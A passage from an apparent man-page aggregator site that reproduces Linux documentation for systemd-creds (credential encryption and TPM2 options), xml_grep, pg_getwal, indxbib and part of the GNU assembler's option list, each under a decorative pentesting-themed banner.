Reports whether the system is equipped with a TPM2 device usable for protecting credentials. If a TPM2 device has been discovered, is supported, and is being used by firmware, by the OS kernel drivers and by userspace (i.e. systemd) this prints “yes” and exits with exit status zero. If no such device is discovered/supported/used, prints “no”. Otherwise prints “partial”. In either of these two cases exits with non-zero exit status. It also shows four lines indicating separately whether firmware, drivers, the system and the kernel discovered/support/use TPM2.

Combine with –quiet to suppress the output.

Added in version 251.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

OPTIONS

–system

When specified with the list and cat commands operates on the credentials passed to system as a whole instead of on those passed to the current execution context. This is useful in container environments where credentials may be passed in from the container manager.

Added in version 250.

–user

When specified with the encrypt and decrypt commands encrypts a user-scoped (rather than a system-scoped) credential. Use –uid= to select which user the credential is from. Such credentials may only be decrypted from the specified users context, except if privileges can be acquired. Generally, when an encrypted credential shall be used in the per-user service manager it should be encrypted with this option set, when it shall be used in the system service manager it should be encrypted without.

Internally, this ensures that the selected users numeric UID and username, as well as the systems machine-id(5) are incorporated into the encryption key.

Added in version 256.

–uid=

Specifies the user to encrypt the credential for. Takes a user name or numeric UID. If set, implies –user. If set to the special string “self” sets the user to the user of the calling process. If –user is used without –uid= then –uid=self is implied, i.e. the credential is encrypted for the calling user.

Added in version 256.

–transcode=

When specified with the cat or decrypt commands, transcodes the output before showing it. Takes one of “base64”, “unbase64”, “hex” or “unhex” as argument, in order to encode/decode the credential data with Base64 or as series of hexadecimal values.

Note that this has no effect on the encrypt command, as encrypted credentials are unconditionally encoded in Base64.

Added in version 250.

–newline=

When specified with cat or decrypt controls whether to add a trailing newline character to the end of the output if it doesnt end in one, anyway. Takes one of “auto”, “yes” or “no”. The default mode of “auto” will suffix the output with a single newline character only when writing credential data to a TTY.

Added in version 250.

–pretty, -p

When specified with encrypt controls whether to show the encrypted credential as SetCredentialEncrypted= setting that may be pasted directly into a unit file. Has effect only when used together with –name= and “-” as the output file.

Added in version 250.

**–name=**name

When specified with the encrypt command controls the credential name to embed in the encrypted credential data. If not specified the name is chosen automatically from the filename component of the specified output path. If specified as empty string no credential name is embedded in the encrypted credential, and no verification of credential name is done when the credential is decrypted.

When specified with the decrypt command control the credential name to validate the credential name embedded in the encrypted credential with. If not specified the name is chosen automatically from the filename component of the specified input path. If no credential name is embedded in the encrypted credential file (i.e. the –name= with an empty string was used when encrypted) the specified name has no effect as no credential name validation is done.

Embedding the credential name in the encrypted credential is done in order to protect against reuse of credentials for purposes they werent originally intended for, under the assumption the credential name is chosen carefully to encode its intended purpose.

Added in version 250.

**–timestamp=**timestamp

When specified with the encrypt command controls the timestamp to embed into the encrypted credential. Defaults to the current time. Takes a timestamp specification in the format described in systemd.time(7).

When specified with the decrypt command controls the timestamp to use to validate the “not-after” timestamp that was configured with –not-after= during encryption. If not specified defaults to the current system time.

Added in version 250.

**–not-after=**timestamp

When specified with the encrypt command controls the time when the credential shall not be used anymore. This embeds the specified timestamp in the encrypted credential. During decryption the timestamp is checked against the current system clock, and if the timestamp is in the past the decryption will fail. By default no such timestamp is set. Takes a timestamp specification in the format described in systemd.time(7).

Added in version 250.

–with-key=, -H, -T

When specified with the encrypt command controls the encryption/signature key to use. Takes one of “host”, “tpm2”, “host+tpm2”, “null”, “auto”, “auto-initrd”. See above for details on the three key types. If set to “auto” (which is the default) the TPM2 key is used if a TPM2 device is found and not running in a container. The host key is used if /var/lib/systemd/ is on persistent media. This means on typical systems the encryption is by default bound to both the TPM2 chip and the OS installation, and both need to be available to decrypt the credential again. If “auto” is selected but neither TPM2 is available (or running in container) nor /var/lib/systemd/ is on persistent media, encryption will fail. If set to “null” a fixed zero length key is used (thus, in this mode no confidentiality nor authenticity are provided!). This logic is useful to cover for systems that lack a TPM2 chip but where credentials shall be generated. Note that decryption of such credentials is refused on systems that have a TPM2 chip and where UEFI SecureBoot is enabled (this is done so that such a locked down system cannot be tricked into loading a credential generated this way that lacks authentication information). If set to “auto-initrd” a TPM2 key is used if a TPM2 is found. If not a fixed zero length key is used, equivalent to “null” mode. This option is particularly useful to generate credentials files that are encrypted/authenticated against TPM2 where available but still work on systems lacking support for this.

The -H switch is a shortcut for –with-key=host. Similar, -T is a shortcut for –with-key=tpm2.

When encrypting credentials that shall be used in the initrd (where /var/lib/systemd/ is typically not available) make sure to use –with-key=auto-initrd mode, to disable binding against the host secret.

This switch has no effect on the decrypt command, as information on which key to use for decryption is included in the encrypted credential already.

Added in version 250.

**–tpm2-device=**PATH

Controls the TPM2 device to use. Expects a device node path referring to the TPM2 chip (e.g. /dev/tpmrm0). Alternatively the special value “auto” may be specified, in order to automatically determine the device node of a suitable TPM2 device (of which there must be exactly one). The special value “list” may be used to enumerate all suitable TPM2 devices currently discovered.

Added in version 250.

**–tpm2-pcrs=**PCR[+PCR…]

Configures the TPM2 PCRs (Platform Configuration Registers) to bind the encryption key to. Takes a “+” separated list of numeric PCR indexes in the range 0…23. If not used, defaults to PCR 7 only. If an empty string is specified, binds the encryption key to no PCRs at all. For details about the PCRs available, see the documentation of the switch of the same name for systemd-cryptenroll(1).

Added in version 250.

**–tpm2-public-key=**PATH, **–tpm2-public-key-pcrs=**PCR[+PCR…]

Configures a TPM2 signed PCR policy to bind encryption to, for use with the encrypt command. The –tpm2-public-key= option accepts a path to a PEM encoded RSA public key, to bind the encryption to. If this is not specified explicitly, but a file tpm2-pcr-public-key.pem exists in one of the directories /etc/systemd/, /run/systemd/, /usr/lib/systemd/ (searched in this order), it is automatically used. The –tpm2-public-key-pcrs= option takes a list of TPM2 PCR indexes to bind to (same syntax as –tpm2-pcrs= described above). If not specified defaults to 11 (i.e. this binds the policy to any unified kernel image for which a PCR signature can be provided).

Note the difference between –tpm2-pcrs= and –tpm2-public-key-pcrs=: the former binds decryption to the current, specific PCR values; the latter binds decryption to any set of PCR values for which a signature by the specified public key can be provided. The latter is hence more useful in scenarios where software updates shall be possible without losing access to all previously encrypted secrets.

Added in version 252.

**–tpm2-signature=**PATH

Takes a path to a TPM2 PCR signature file as generated by the systemd-measure(1) tool and that may be used to allow the decrypt command to decrypt credentials that are bound to specific signed PCR values. If this is not specified explicitly, and a credential with a signed PCR policy is attempted to be decrypted, a suitable signature file tpm2-pcr-signature.json is searched for in /etc/systemd/, /run/systemd/, /usr/lib/systemd/ (in this order) and used.

Added in version 252.

–allow-null

Allow decrypting credentials that use an empty key.

Added in version 256.

–quiet, -q

When used with has-tpm2 suppresses the output, and only returns an exit status indicating support for TPM2.

Added in version 251.

–no-pager

Do not pipe output into a pager.

–no-legend

Do not print the legend, i.e. column headers and the footer with hints.

**–json=**MODE

Shows output formatted as JSON. Expects one of “short” (for the shortest possible output without any redundant whitespace or line breaks), “pretty” (for a pretty version of the same, with indentation and line breaks) or “off” (to turn off JSON output, the default).

EXIT STATUS

On success, 0 is returned.

In case of the has-tpm2 command returns 0 if a TPM2 device is discovered, supported and used by firmware, driver, and userspace (i.e. systemd). Otherwise returns the OR combination of the value 1 (in case firmware support is missing), 2 (in case driver support is missing) and 4 (in case userspace support is missing). If no TPM2 support is available at all, value 7 is hence returned.

EXAMPLES

Example 1. Encrypt a password for use as credential

The following command line encrypts the specified password “hunter2”, writing the result to a file password.cred.

echo -n hunter2 | systemd-creds encrypt - password.cred

This decrypts the file password.cred again, revealing the literal password:

systemd-creds decrypt password.cred

hunter2

Example 2. Encrypt a password and include it in a unit file

The following command line prompts the user for a password and generates a SetCredentialEncrypted= line from it for a credential named “mysql-password”, suitable for inclusion in a unit file.

systemd-ask-password -n | systemd-creds encrypt –name=mysql-password -p - -

🔐 Password: ****
SetCredentialEncrypted=mysql-password: \
        k6iUCUh0RJCQyvL8k8q1UyAAAAABAAAADAAAABAAAAASfFsBoPLIm/dlDoGAAAAAAAAAA \
        NAAAAAgAAAAAH4AILIOZ3w6rTzYsBy9G7liaCAd4i+Kpvs8mAgArzwuKxd0ABDjgSeO5k \
        mKQc58zM94ZffyRmuNeX1lVHE+9e2YD87KfRFNoDLS7F3YmCb347gCiSk2an9egZ7Y0Xs \
        700Kr6heqQswQEemNEc62k9RJnEl2q7SbcEYguegnPQUATgAIAAsAAAASACA/B90W7E+6 \
        yAR9NgiIJvxr9bpElztwzB5lUJAxtMBHIgAQACCaSV9DradOZz4EvO/LSaRyRSq2Hj0ym \
        gVJk/dVzE8Uxj8H3RbsT7rIBH02CIgm/Gv1ukSXO3DMHmVQkDG0wEciyageTfrVEer8z5 \
        9cUQfM5ynSaV2UjeUWEHuz4fwDsXGLB9eELXLztzUU9nsAyLvs3ZRR+eEK/A==

The generated line can be pasted 1:1 into a unit file, and will ensure the acquired password will be made available in the $CREDENTIALS_DIRECTORY/mysql-password credential file for the started service.

Utilizing the unit file drop-in logic this can be used to securely pass a password credential to a unit. A similar, more comprehensive set of commands to insert a password into a service xyz.service:

mkdir -p /etc/systemd/system/xyz.service.d

# systemd-ask-password -n | ( echo "[Service]" && systemd-creds encrypt --name=mysql-password -p - - ) >/etc/systemd/system/xyz.service.d/50-password.conf
# systemctl daemon-reload
# systemctl restart xyz.service

SEE ALSO

systemd(1), systemd.exec(5), systemd-measure(1)

NOTES

System and Service Credentials

https://systemd.io/CREDENTIALS

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

556 - Linux cli command xml_grepp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xml_grepp and provides detailed information about the command xml_grepp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xml_grepp.

NAME 🖥️ xml_grepp 🖥️

grep XML files looking for specific elements

SYNOPSYS

xml_grep [options] <file list>

or

xml_grep <xpath expression> <file list>

By default you can just give xml_grep an XPath expression and a list of files, and get an XML file with the result.

This is equivalent to writing

xml_grep –group_by_file file –pretty_print indented –cond <file list>

OPTIONS

–help
brief help message

–man
full documentation

–Version
display the tool version

–root <cond>
look for and return xml chunks matching <cond> if neither --root nor --file are used then the element(s) that trigger the --cond option is (are) used. If --cond is not used then all elements matching the <cond> are returned several --root can be provided

–cond <cond>
return the chunks (or file names) only if they contain elements matching <cond> several --cond can be provided (in which case they are OR’ed)

–files
return only file names (do not generate an XML output) usage of this option precludes using any of the options that define the XML output: --roots, --encoding, --wrap, --group_by_file or --pretty_print

–count
return only the number of matches in each file usage of this option precludes using any of the options that define the XML output: --roots, --encoding, --wrap, --group_by_file or --pretty_print

–strict
without this option parsing errors are reported to STDOUT and the file skipped

–date
when on (by default) the wrapping element get a date attribute that gives the date the tool was run. with --nodate this attribute is not added, which can be useful if you need to compare 2 runs.

–encoding <enc>
encoding of the xml output (utf-8 by default)

–nb_results <nb>
output only <nb> results

–by_file
output only <nb> results by file

–wrap <tag>
wrap the xml result in the provided tag (defaults to ‘xml_grep’) If wrap is set to an empty string (--wrap ) then the xml result is not wrapped at all.

–nowrap
same as using --wrap : the xml result is not wrapped.

–descr <string>
attributes of the wrap tag (defaults to version="<VERSION>" date="<date>")

–group_by_file <optional_tag>
wrap results for each files into a separate element. By default that element is named file. It has an attribute named filename that gives the name of the file. the short version of this option is -g

–exclude <condition>
same as using -v in grep: the elements that match the condition are excluded from the result, the input file(s) is (are) otherwise unchanged the short form of this option is -v

–pretty_print <optional_style>
pretty print the output using XML::Twig styles (’indented’, ‘record’ or ‘record_c’ are probably what you are looking for) if the option is used but no style is given then ‘indented’ is used short form for this argument is -s

–text_only
Displays the text of the results, one by line.

–html
Allow HTML input, files are converted using HTML::TreeBuilder

–Tidy
Allow HTML input, files are converted using HTML::Tidy

Condition Syntax

<cond> is an XPath-like expression as allowed by XML::Twig to trigger handlers.

examples: ‘para’ ‘para[@compact=“compact”]’ ‘*[@urgent]’ ‘*[@urgent=“1”]’ ‘para[string()=“WARNING”]’

see XML::Twig for a more complete description of the <cond> syntax

options are processed by Getopt::Long so they can start with ‘-’ or ‘–’ and can be abbreviated (-r instead of --root for example)

DESCRIPTION

xml_grep does a grep on XML files. Instead of using regular expressions it uses XPath expressions (in fact the subset of XPath supported by XML::Twig)

the results can be the names of the files or XML elements containing matching elements.

SEE ALSO

XML::Twig Getopt::Long

LICENSE

This library is free software; you can redistribute it and/or modify it under the same terms as Perl itself.

AUTHOR

Michel Rodriguez <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

557 - Linux cli command pg_getwal

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_getwal and provides detailed information about the command pg_getwal, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_getwal.

NAME 🖥️ pg_getwal 🖥️

retrieve a WAL file from a pg_receivewal archive

SYNOPSIS

pg_getwal /path/to/wal/%f %p

DESCRIPTION

pg_getwal retrieves and decompresses files from a WAL archive maintained by pg_receivewal and pg_backupcluster. It is put into PostgreSQL’s restore_command by pg_restorecluster.

SEE ALSO

pg_restorecluster (1), pg_backupcluster (1).

AUTHOR

Christoph Berg <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

558 - Linux cli command indxbib

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command indxbib and provides detailed information about the command indxbib, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the indxbib.

Name

indxbib - make inverted index for bibliographic databases

Synopsis

indxbib [-w] [-c ** common-words-file] [-d ** dir] [-f ** list-file] [-h ** min-hash-table-size] [-i ** excluded-fields] [-k ** max-keys-per-record] [-l ** min-key-length] [-n ** threshold] [-o ** file] [-t ** max-key-length] [*file *. . .] indxbib –help indxbib -v indxbib –version

Description

indxbib makes an inverted index for the bibliographic databases in each file for use with

and

Each created index is named file*.i*; writing is done to a temporary file which is then renamed to this. If no file operands are given on the command line because the -f option has been used, and no -o option is given, the index will be named Ind.i.

Bibliographic databases are divided into records by blank lines. Within a record, each field starts with a % character at the beginning of a line. Fields have a one letter name that follows the % character.

The values set by the -c, -l, -n, and -t options are stored in the index: when the index is searched, keys will be discarded and truncated in a manner appropriate to these options; the original keys will be used for verifying that any record found using the index actually contains the keys. This means that a user of an index need not know whether these options were used in the creation of the index, provided that not all the keys to be searched for would have been discarded during indexing and that the user supplies at least the part of each key that would have remained after being truncated during indexing. The value set by the -i option is also stored in the index and will be used in verifying records found using the index.

Options

–help displays a usage message, while -v and –version show version information; all exit afterward.

**-c **common-words-file
Read the list of common words from common-words-file instead of /usr/share/groff/1.23.0/eign.

**-d **dir
Use dir as the name of the directory to store in the index, instead of that returned by

Typically, dir will be a symbolic link whose target is the current working directory.

**-f **list-file
Read the files to be indexed from list-file. If list-file is -, files will be read from the standard input stream. The -f option can be given at most once.

**-h **min-hash-table-size
Use the first prime number greater than or equal to the argument for the size of the hash table. Larger values will usually make searching faster, but will make the index file larger and cause indxbib to use more memory. The default hash table size is 997.

**-i **excluded-fields
Don’t index the contents of fields whose names are in excluded-fields. Field names are one character each. If this option is not present, indxbib excludes fields X, Y, and Z.

**-k **max-keys-per-record
Use no more keys per input record than specified in the argument. If this option is not present, the maximum is 100.

**-l **min-key-length
Discard any key whose length in characters is shorter than the value of the argument. If this option is not present, the minimum key length is 3.

**-n **threshold
Discard the threshold most common words from the common words file. If this option is not present, the 100 most common words are discarded.

**-o basename
Name the index basename
.i
.

**-t **max-key-length
Truncate keys to max-key-length in characters. If this option is not present, keys are truncated to 6 characters.

-w
Index whole files. Each file is a separate record.

Files

file*.i*
index for file

Ind.i
default index name

/usr/share/groff/1.23.0/eign
contains the list of common words. The traditional name, “eign”, is an abbreviation of “English ignored [word list]”.

indxbibXXXXXX
temporary file

See also

“Some Applications of Inverted Indexes on the Unix System”, by M. E. Lesk, 1978, AT&T Bell Laboratories Computing Science Technical Report No. 69.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

559 - Linux cli command x86_64-linux-gnu-as

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-as and provides detailed information about the command x86_64-linux-gnu-as, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-as.

NAME 🖥️ x86_64-linux-gnu-as 🖥️

the portable GNU assembler.

SYNOPSIS

as [-a[cdghilns][=file]] [–alternate] [–compress-debug-sections] [–nocompress-debug-sections] [-D] [–dump-config] [–debug-prefix-map old=new] [–defsym sym=val] [–elf-stt-common=[no|yes]] [–emulation=name] [-f] [-g] [–gstabs] [–gstabs+] [–gdwarf-<N>] [–gdwarf-sections] [–gdwarf-cie-version=VERSION] [–generate-missing-build-notes=[no|yes]] [–gsframe] [–hash-size=N] [–help] [–target-help] [-I dir] [-J] [-K] [–keep-locals] [-L] [–listing-lhs-width=NUM] [–listing-lhs-width2=NUM] [–listing-rhs-width=NUM] [–listing-cont-lines=NUM] [–multibyte-handling=[allow|warn|warn-sym-only]] [–no-pad-sections] [-o objfile] [-R] [–scfi=experimental] [–sectname-subst] [–size-check=[error|warning]] [–statistics] [-v] [-version] [–version] [-W] [–no-warn] [–warn] [–fatal-warnings] [-w] [-x] [-Z] [@FILE] [target-options] [|files …]

TARGET

Target AArch64 options: [-EB|-EL] [-mabi=ABI]

Target Alpha options: [-mcpu] [-mdebug | -no-mdebug] [-replace | -noreplace] [-relax] [-g] [-Gsize] [-F] [-32addr]

Target ARC options: [-mcpu=cpu] [-mA6|-mARC600|-mARC601|-mA7|-mARC700|-mEM|-mHS] [-mcode-density] [-mrelax] [-EB|-EL]

Target ARM options: [-mcpu=processor[+extension…]] [-march=architecture[+extension…]] [-mfpu=floating-point-format] [-mfloat-abi=abi] [-meabi=ver] [-mthumb] [-EB|-EL] [-mapcs-32|-mapcs-26|-mapcs-float| -mapcs-reentrant] [-mthumb-interwork] [-k]

Target Blackfin options: [-mcpu=processor[-sirevision]] [-mfdpic] [-mno-fdpic] [-mnopic]

Target BPF options: [-EL] [-EB]

Target CRIS options: [–underscore | –no-underscore] [–pic] [-N] [–emulation=criself | –emulation=crisaout] [–march=v0_v10 | –march=v10 | –march=v32 | –march=common_v10_v32]

Target C-SKY options: [-march=arch] [-mcpu=cpu] [-EL] [-mlittle-endian] [-EB] [-mbig-endian] [-fpic] [-pic] [-mljump] [-mno-ljump] [-force2bsr] [-mforce2bsr] [-no-force2bsr] [-mno-force2bsr] [-jsri2bsr] [-mjsri2bsr] [-no-jsri2bsr ] [-mno-jsri2bsr] [-mnolrw ] [-mno-lrw] [-melrw] [-mno-elrw] [-mlaf ] [-mliterals-after-func] [-mno-laf] [-mno-literals-after-func] [-mlabr] [-mliterals-after-br] [-mno-labr] [-mnoliterals-after-br] [-mistack] [-mno-istack] [-mhard-float] [-mmp] [-mcp] [-mcache] [-msecurity] [-mtrust] [-mdsp] [-medsp] [-mvdsp]

Target D10V options: [-O]

Target D30V options: [-O|-n|-N]

Target EPIPHANY options: [-mepiphany|-mepiphany16]

Target H8/300 options: [-h-tick-hex]

Target i386 options: [–32|–x32|–64] [-n] [-march=CPU[+EXTENSION…]] [-mtune=CPU]

Target IA-64 options: [-mconstant-gp|-mauto-pic] [-milp32|-milp64|-mlp64|-mp64] [-mle|mbe] [-mtune=itanium1|-mtune=itanium2] [-munwind-check=warning|-munwind-check=error] [-mhint.b=ok|-mhint.b=warning|-mhint.b=error] [-x|-xexplicit] [-xauto] [-xdebug]

Target IP2K options: [-mip2022|-mip2022ext]

Target M32C options: [-m32c|-m16c] [-relax] [-h-tick-hex]

Target M32R options: [–m32rx|–[no-]warn-explicit-parallel-conflicts| –W[n]p]

Target M680X0 options: [-l] [-m68000|-m68010|-m68020|…]

Target M68HC11 options: [-m68hc11|-m68hc12|-m68hcs12|-mm9s12x|-mm9s12xg] [-mshort|-mlong] [-mshort-double|-mlong-double] [–force-long-branches] [–short-branches] [–strict-direct-mode] [–print-insn-syntax] [–print-opcodes] [–generate-example]

Target MCORE options: [-jsri2bsr] [-sifilter] [-relax] [-mcpu=[210|340]]

Target Meta options: [-mcpu=cpu] [-mfpu=cpu] [-mdsp=cpu] Target MICROBLAZE options: [-mlittle-endian] [-mbig-endian]

Target MIPS options: [-nocpp] [-EL] [-EB] [-O[optimization level]] [-g[debug level]] [-G num] [-KPIC] [-call_shared] [-non_shared] [-xgot [-mvxworks-pic] [-mabi=ABI] [-32] [-n32] [-64] [-mfp32] [-mgp32] [-mfp64] [-mgp64] [-mfpxx] [-modd-spreg] [-mno-odd-spreg] [-march=CPU] [-mtune=CPU] [-mips1] [-mips2] [-mips3] [-mips4] [-mips5] [-mips32] [-mips32r2] [-mips32r3] [-mips32r5] [-mips32r6] [-mips64] [-mips64r2] [-mips64r3] [-mips64r5] [-mips64r6] [-construct-floats] [-no-construct-floats] [-mignore-branch-isa] [-mno-ignore-branch-isa] [-mnan=encoding] [-trap] [-no-break] [-break] [-no-trap] [-mips16] [-no-mips16] [-mmips16e2] [-mno-mips16e2] [-mmicromips] [-mno-micromips] [-msmartmips] [-mno-smartmips] [-mips3d] [-no-mips3d] [-mdmx] [-no-mdmx] [-mdsp] [-mno-dsp] [-mdspr2] [-mno-dspr2] [-mdspr3] [-mno-dspr3] [-mmsa] [-mno-msa] [-mxpa] [-mno-xpa] [-mmt] [-mno-mt] [-mmcu] [-mno-mcu] [-mcrc] [-mno-crc] [-mginv] [-mno-ginv] [-mloongson-mmi] [-mno-loongson-mmi] [-mloongson-cam] [-mno-loongson-cam] [-mloongson-ext] [-mno-loongson-ext] [-mloongson-ext2] [-mno-loongson-ext2] [-minsn32] [-mno-insn32] [-mfix7000] [-mno-fix7000] [-mfix-rm7000] [-mno-fix-rm7000] [-mfix-vr4120] [-mno-fix-vr4120] [-mfix-vr4130] [-mno-fix-vr4130] [-mfix-r5900] [-mno-fix-r5900] [-mdebug] [-no-mdebug] [-mpdr] [-mno-pdr]

Target MMIX options: [–fixed-special-register-names] [–globalize-symbols] [–gnu-syntax] [–relax] [–no-predefined-symbols] [–no-expand] [–no-merge-gregs] [-x] [–linker-allocated-gregs]

Target Nios II options: [-relax-all] [-relax-section] [-no-relax] [-EB] [-EL]

Target NDS32 options: [-EL] [-EB] [-O] [-Os] [-mcpu=cpu] [-misa=isa] [-mabi=abi] [-mall-ext] [-m[no-]16-bit] [-m[no-]perf-ext] [-m[no-]perf2-ext] [-m[no-]string-ext] [-m[no-]dsp-ext] [-m[no-]mac] [-m[no-]div] [-m[no-]audio-isa-ext] [-m[no-]fpu-sp-ext] [-m[no-]fpu-dp-ext] [-m[no-]fpu-fma] [-mfpu-freg=FREG] [-mreduced-regs] [-mfull-regs] [-m[no-]dx-regs] [-mpic] [-mno-relax] [-mb2bb]

Target PDP11 options: [-mpic|-mno-pic] [-mall] [-mno-extensions] [-mextension|-mno-extension] [-mcpu] [-mmachine]

Target picoJava options: [-mb|-me]

Target PowerPC options: [-a32|-a64] [-mpwrx|-mpwr2|-mpwr|-m601|-mppc|-mppc32|-m603|-m604|-m403|-m405| -m440|-m464|-m476|-m7400|-m7410|-m7450|-m7455|-m750cl|-mgekko| -mbroadway|-mppc64|-m620|-me500|-e500x2|-me500mc|-me500mc64|-me5500| -me6500|-mppc64bridge|-mbooke|-mpower4|-mpwr4|-mpower5|-mpwr5|-mpwr5x| -mpower6|-mpwr6|-mpower7|-mpwr7|-mpower8|-mpwr8|-mpower9|-mpwr9-ma2| -mcell|-mspe|-mspe2|-mtitan|-me300|-mcom] [-many] [-maltivec|-mvsx|-mhtm|-mvle] [-mregnames|-mno-regnames] [-mrelocatable|-mrelocatable-lib|-K PIC] [-memb] [-mlittle|-mlittle-endian|-le|-mbig|-mbig-endian|-be] [-msolaris|-mno-solaris] [**-nops=**count]

Target PRU options: [-link-relax] [-mnolink-relax] [-mno-warn-regname-label]

Target RISC-V options: [-fpic|-fPIC|-fno-pic] [-march=ISA] [-mabi=ABI] [-mlittle-endian|-mbig-endian]

Target RL78 options: [-mg10] [-m32bit-doubles|-m64bit-doubles]

Target RX options: [-mlittle-endian|-mbig-endian] [-m32bit-doubles|-m64bit-doubles] [-muse-conventional-section-names] [-msmall-data-limit] [-mpid] [-mrelax] [-mint-register=number] [-mgcc-abi|-mrx-abi]

Target s390 options: [-m31|-m64] [-mesa|-mzarch] [-march=CPU] [-mregnames|-mno-regnames] [-mwarn-areg-zero] [-mwarn-regtype-mismatch=strict -mwarn-regtype-mismatch=relaxed -mwarn-regtype-mismatch=no -mno-warn-regtype-mismatch]

Target SCORE options: [-EB][-EL][-FIXDD][-NWARN] [-SCORE5][-SCORE5U][-SCORE7][-SCORE3] [-march=score7][-march=score3] [-USE_R1][-KPIC][-O0][-G num][-V]

Target SPARC options: [-Av6|-Av7|-Av8|-Aleon|-Asparclet|-Asparclite -Av8plus|-Av8plusa|-Av8plusb|-Av8plusc|-Av8plusd -Av8plusv|-Av8plusm|-Av9|-Av9a|-Av9b|-Av9c -Av9d|-Av9e|-Av9v|-Av9m|-Asparc|-Asparcvis -Asparcvis2|-Asparcfmaf|-Asparcima|-Asparcvis3 -Asparcvisr|-Asparc5] [-xarch=v8plus|-xarch=v8plusa]|-xarch=v8plusb|-xarch=v8plusc -xarch=v8plusd|-xarch=v8plusv|-xarch=v8plusm|-xarch=v9 -xarch=v9a|-xarch=v9b|-xarch=v9c|-xarch=v9d|-xarch=v9e -xarch=v9v|-xarch=v9m|-xarch=sparc|-xarch=sparcvis -xarch=sparcvis2|-xarch=sparcfmaf|-xarch=sparcima -xarch=sparcvis3|-xarch=sparcvisr|-xarch=sparc5 -bump] [-32|-64] [–enforce-aligned-data][–dcti-couples-detect]

Target TIC54X options: [-mcpu=54[123589]|-mcpu=54[56]lp] [-mfar-mode|-mf] [-merrors-to-file <filename>|-me <filename>]

